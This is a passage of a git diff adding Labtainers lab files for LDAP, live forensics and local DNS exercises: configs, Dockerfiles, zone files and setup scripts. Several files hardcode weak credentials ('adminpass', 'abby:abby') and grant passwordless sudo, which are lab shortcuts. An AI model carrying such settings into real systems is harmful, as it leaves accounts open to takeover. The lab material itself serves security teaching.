and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/sbin/faux_init new file mode 100755 index 000000000..7ce7d3c88 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exist +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done + +# PUT any daemon start (that need parameterization after while loop) +/usr/sbin/rsyslogd -n & +service rc.local start +/etc/init.d/mynotify.sh start + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/configure-ldap-client.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/configure-ldap-client.sh new file mode 100755 index 000000000..0c794ce93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/configure-ldap-client.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# hacked reconfiguration of ldap-auth-config +export VISUAL=/var/tmp/install-ldap-auth-config.sh +dpkg-reconfigure -feditor ldap-auth-config +# causes first password change to fail. +sed -i 's/use_authtok//' /etc/pam.d/common-password + +# enable use of ldap for authentication +sudo sed -i 's/compat/compat ldap/' /etc/nsswitch.conf + +sudo sed -i '/and here are more per-package modules/a session required pam_mkhomedir.so umask=0022 skel=/etc/skel' /etc/pam.d/common-session + +systemctl restart nscd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog1.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog1.txt new file mode 100644 index 000000000..f60c80348 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog1.txt @@ -0,0 +1,15 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# Saying yes will allow future upgrades to use these settings. This is the recommended option. +# +# (Choices: yes, no) +# Should debconf manage LDAP configuration? +ldap-auth-config/override="yes" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog2.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog2.txt new file mode 100644 index 000000000..777b6c082 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog2.txt @@ -0,0 +1,29 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# Please enter the URI of the LDAP server to use. This is a string in the form of ldap://:/. ldaps:// or ldapi:// can also be +# used. The port number is optional. +# +# Note: It is usually a good idea to use an IP address because it reduces risks of failure in the event name service problems. +# +# LDAP server Uniform Resource Identifier: +ldap-auth-config/ldapns/ldap-server="ldap://172.25.0.2" + +# Please enter the distinguished name of the LDAP search base. Many sites use the components of their domain names for this purpose. For example, +# the domain "example.net" would use "dc=example,dc=net" as the distinguished name of the search base. +# +# Distinguished name of the search base: +ldap-auth-config/ldapns/base-dn="dc=example,dc=com" + +# Please enter which version of the LDAP protocol should be used by ldapns. It is usually a good idea to set this to the highest available version. +# +# (Choices: 3, 2) +# LDAP version to use: +ldap-auth-config/ldapns/ldap_version="3" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog3.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog3.txt new file mode 100644 index 000000000..96ffd61dd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog3.txt @@ -0,0 +1,27 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# This option will allow you to make password utilities that use pam to behave like you would be changing local passwords. +# +# The password will be stored in a separate file which will be made readable to root only. +# +# If you are using NFS mounted /etc or any other custom setup, you should disable this. +# +# (Choices: yes, no) +# Make local root Database admin: +ldap-auth-config/dbrootlogin="yes" + +# Choose this option if you are required to login to the database to retrieve entries. +# +# Note: Under a normal setup, this is not needed. +# +# (Choices: yes, no) +# Does the LDAP database require login? +ldap-auth-config/dblogin="no" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog4.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog4.txt new file mode 100644 index 000000000..4b02adb56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog4.txt @@ -0,0 +1,25 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# This account will be used when root changes a password. +# +# Note: This account has to be a privileged account. +# +# LDAP account for root: +ldap-auth-config/rootbinddn="cn=admin,dc=example,dc=com" + +# Please enter the password to use when ldap-auth-config tries to login to the LDAP directory using the LDAP account for root. +# +# The password will be stored in a separate file /etc/ldap.secret which will be made readable to root only. +# +# Entering an empty password will re-use the old password. +# +# LDAP root account password: +ldap-auth-config/rootbindpw="adminpass" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog5.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog5.txt new file mode 100644 index 000000000..07efb7a93 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/dogs/dog5.txt @@ -0,0 +1,30 @@ +# You are using the editor-based debconf frontend to configure your system. See the end of this document for detailed instructions. +################################################################################################################################################### + +# The PAM module can set the password crypt locally when changing the passwords, which is usually a good choice. Specifying something other than +# clear ensures that the password gets crypted in some way. +# +# The meanings for selections are: +# +# clear - Don't set any encryptions. This is useful with servers that automatically encrypt userPassword entry. +# +# crypt - (Default) make userPassword use the same format as the flat filesystem. This will work for most configurations. +# +# nds - Use Novell Directory Services-style updating by first removing the old password and then update with a cleartext password. +# +# ad - Active Directory-style. Create a Unicode password and update the unicodePwd attribute. +# +# exop - Use the OpenLDAP password change extended operation to update the password. +# +# md5 - Use the stronger md5 algorithm instead of standard crypt. +# +# (Choices: clear, crypt, nds, ad, exop, md5) +# Local crypt to use when changing passwords: +ldap-auth-config/pam_password="md5" + + +################################################################################################################################################### +# The editor-based debconf frontend presents you with one or more text files to edit. This is one such text file. If you are familiar with standard +# unix configuration files, this file will look familiar to you -- it contains comments interspersed with configuration items. Edit the file, +# changing any items as necessary, and then save it and exit. At that point, debconf will read the edited file, and use the values you entered to +# configure the system. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/install-ldap-auth-config.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/install-ldap-auth-config.sh new file mode 100755 index 000000000..6a074f359 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/ldap/server2/_system/var/tmp/install-ldap-auth-config.sh @@ -0,0 +1,41 @@ +#!/bin/bash +# +# Hacked script to automate installation of ldap-auth-config.sh +# The usual debconf-set-selections fails on ldap-auth-config becuase +# it prompts first for a mother-may-I. +# This script is intended to be named in the VISUAL environment variable +# when the dpkg-reconfig is run with the editor front end: +# dpkg-reconfigure -feditor ldap-auth-config +# +# +fid=$1 +override=$(grep override $1) +if [[ ! -z "$override" ]]; then + echo "IS OVERRIDE" + cp /var/tmp/dogs/dog1.txt $1 +else + server=$(grep "LDAP server Uniform Resource" $1) + if [[ ! -z "$server" ]]; then + echo "IS SERVER" + cp /var/tmp/dogs/dog2.txt $1 + else + local_root=$(grep "Make local root Database" $1) + if [[ ! -z "$local_root" ]]; then + echo "IS LOCAL ROOT" + cp /var/tmp/dogs/dog3.txt $1 + else + root_account=$(grep "LDAP account for root" $1) + if [[ ! -z "$root_account" ]]; then + echo "IS ROOT ACCOUNT" + cp /var/tmp/dogs/dog4.txt $1 + else + pam_fu=$(grep "The PAM module can set the" $1) + if [[ ! -z "$pam_fu" ]]; then + echo "IS pam fu" + cp /var/tmp/dogs/dog5.txt $1 + + fi + fi + fi + fi +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/instructions.txt new file mode 100644 index 000000000..99d685d57 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/instructions.txt @@ -0,0 +1,2 @@ +This is your analysis machine. It is running Fedora 24, with many +forensics tools installed from the CERT repository. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/inventory.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/inventory.txt new file mode 100644 index 000000000..1cacea7c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/analysis/inventory.txt @@ -0,0 +1,36 @@ +List each piece of evidence you collected and stored in the volatile, +nonvolatile and interesting folders under the appropriate sections below. +For each, give the command you ran to collect the evidence. Add lines as +necessary. +############################################################################## +volatile +############################################################################## +EVIDENCE FILE | COMMAND YOU RAN TO COLLECT IT +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +############################################################################## +nonvolatile +############################################################################## +EVIDENCE FILE | COMMAND YOU RAN TO COLLECT IT +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +############################################################################## +interesting +############################################################################## +EVIDENCE FILE | COMMAND YOU RAN TO COLLECT IT +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + +----------------------------------------------------------------------------- + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/bin/fixlocal.sh new file mode 100755 index 000000000..f5856942a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/bin/fixlocal.sh @@ -0,0 +1,5 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/fed_sudoers b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/fed_sudoers new file mode 100644 index 000000000..11238c532 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/fed_sudoers @@ -0,0 +1,31 @@ +# +# This file MUST be edited with the 'visudo' command as root. +# +# Please consider adding local content in /etc/sudoers.d/ instead of +# directly modifying this file. +# +# See the man page for details on how to write a sudoers file. +# +Defaults env_reset +Defaults mail_badpass +Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" + +# Host alias specification + +# User alias specification + +# Cmnd alias specification + +# User privilege specification +root ALL=(ALL:ALL) ALL + +# Members of the admin group may gain root privileges +%admin ALL=(ALL) ALL + +# Allow members of group sudo to execute any command +#%sudo ALL=(ALL:ALL) ALL +%wheel ALL=(ALL) NOPASSWD:ALL + +# See sudoers(5) for more information on "#include" directives: + +#includedir /etc/sudoers.d diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/parameter.config new file mode 100644 index 000000000..2ef9ce22e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see ..../docs/parameter.config.format +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/start.config new file mode 100644 index 000000000..3a88b8717 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/config/start.config @@ -0,0 +1,40 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER analysis + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED liveforensicsseedisnotveryhardtoguess + +# SUBNETS +NETWORK INTERNET_LAB_NW + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +NETWORK DMZ_LAB_NW + MASK 172.25.0.0/24 + GATEWAY 172.25.0.101 + +NETWORK INTERNAL_LAB_NW + MASK 172.35.0.0/24 + GATEWAY 172.35.0.102 + +# Container name and settings +CONTAINER analysis + USER abby + TERMINALS 1 + INTERNET_LAB_NW 172.20.0.2 + INTERNAL_LAB_NW 172.35.0.2 + +CONTAINER livemachine + USER ubuntu + TERMINALS 1 + INTERNET_LAB_NW 172.20.0.3 + INTERNAL_LAB_NW 172.35.0.3 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/dockerfiles/Dockerfile.liveforensics.analysis.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/dockerfiles/Dockerfile.liveforensics.analysis.student new file mode 100644 index 000000000..5af3b7c8b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/dockerfiles/Dockerfile.liveforensics.analysis.student @@ -0,0 +1,38 @@ +FROM fedora:24 +MAINTAINER \ +[Adam Miller ] \ +[Patrick Uiterwijk ] +ENV DISTTAG=f24docker FGC=f24 +LABEL description="This is base Docker image for forensics analysis machines" +ARG lab +ARG labdir + +RUN dnf update -y +RUN dnf install -y vim sudo net-tools less man python procps-ng tcl expect wget openssh-server +RUN dnf install -y findutils +RUN wget https://forensics.cert.org/cert-forensics-tools-release-24.rpm && rpm -ivh cert-forensics-tools-release-24.rpm +#RUN dnf install -y CERT-Forensics-Tools # adding this line installs all the tools but you end up with a 4.59 Gig container instead of a 946MB container. + +EXPOSE 22 + +ADD $labdir/fed_sudoers /etc/sudoers +RUN useradd -ms /bin/bash abby +RUN echo "abby:abby" | chpasswd +RUN chown -R abby:abby /home/abby +RUN usermod abby -a -G wheel +ADD $lab.student.tar.gz /home/abby + +USER abby +ENV HOME /home/abby +RUN echo "source $HOME/.local/bin/bash-preexec.sh" >> /home/abby/.bash_profile +RUN echo "source $HOME/.local/bin/bash-pre-capinout.sh" >> /home/abby/.bash_profile +RUN echo "cd" >> $HOME/.bash_profile +RUN echo "source $HOME/.local/bin/startup.sh" >> /home/abby/.bash_profile +RUN echo "" > $HOME/.bash_logout + +RUN mkdir $HOME/volatile +RUN mkdir $HOME/nonvolatile +RUN mkdir $HOME/interesting + +#ENTRYPOINT sudo systemctl start sshd.service && bash + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/goals.config new file mode 100644 index 000000000..006974d65 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/results.config new file mode 100644 index 000000000..3cfbf9590 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/liveforensics/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see ..../docs/results.config.format + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/alive.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/alive.sh new file mode 100755 index 000000000..c7a1bb701 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/alive.sh @@ -0,0 +1,8 @@ +#!/bin/bash +done=0 +while ! ping -c 1 -w 2 "$1" &>/dev/null; do + echo nope + sleep 1 +done +echo done + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/fixlocal.sh new file mode 100755 index 000000000..739295445 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_bin/fixlocal.sh @@ -0,0 +1,20 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +sudo sed -i '/directory/a dump-file "/var/cache/bind/dump.db";\nforwarders {\n192.168.0.1;\n};\nquery-source port 33333;' /etc/bind/named.conf.options +# define example.com +echo "include \"/etc/bind/example.conf\";" | sudo tee -a /etc/bind/named.conf.local +sudo chown bind:bind /var/cache/bind/* +echo "check alive" >> /tmp/fixlocal.output +~/.local/bin/alive.sh 192.168.0.1 +echo "back and alive" >> /tmp/fixlocal.output +date >> /tmp/fixlocal.output +sleep 3 +sudo /etc/init.d/bind9 restart + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/bind/example.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/bind/example.conf new file mode 100644 index 000000000..00e5813a2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/bind/example.conf @@ -0,0 +1,8 @@ +zone "example.com" { + type master; + file "/var/cache/bind/example.com.db"; +}; +zone "0.168.192.in-addr.arpa" { + type master; + file "/var/cache/bind/192.168.0"; +}; diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/rc.local new file mode 100755 index 000000000..7a96565b6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/etc/rc.local @@ -0,0 +1,3 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.0.1 +echo "192.168.0.1" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/sbin/faux_init new file mode 100755 index 000000000..a0d5be5a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/sbin/faux_init @@ -0,0 +1,17 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +/etc/init.d/bind9 start diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/192.168.0 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/192.168.0 new file mode 100755 index 000000000..bab760a4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/192.168.0 @@ -0,0 +1,14 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) +@ IN NS ns.example.com. + +101 IN PTR www.example.com. +102 IN PTR mail.example.com. +10 IN PTR ns.example.com. + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/example.com.db b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/example.com.db new file mode 100755 index 000000000..238657a96 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/apollo-dns/_system/var/cache/bind/example.com.db @@ -0,0 +1,16 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + +@ IN NS ns.example.com. +@ IN MX 10 mail.example.com. + +www IN A 192.168.0.101 +mail IN A 192.168.0.102 +ns IN A 192.168.0.10 +*.example.com. IN A 192.168.0.100 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/etc/rc.local new file mode 100755 index 000000000..e056bd9cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/etc/rc.local @@ -0,0 +1,2 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.168.0.1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/local-dns/attacker/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git 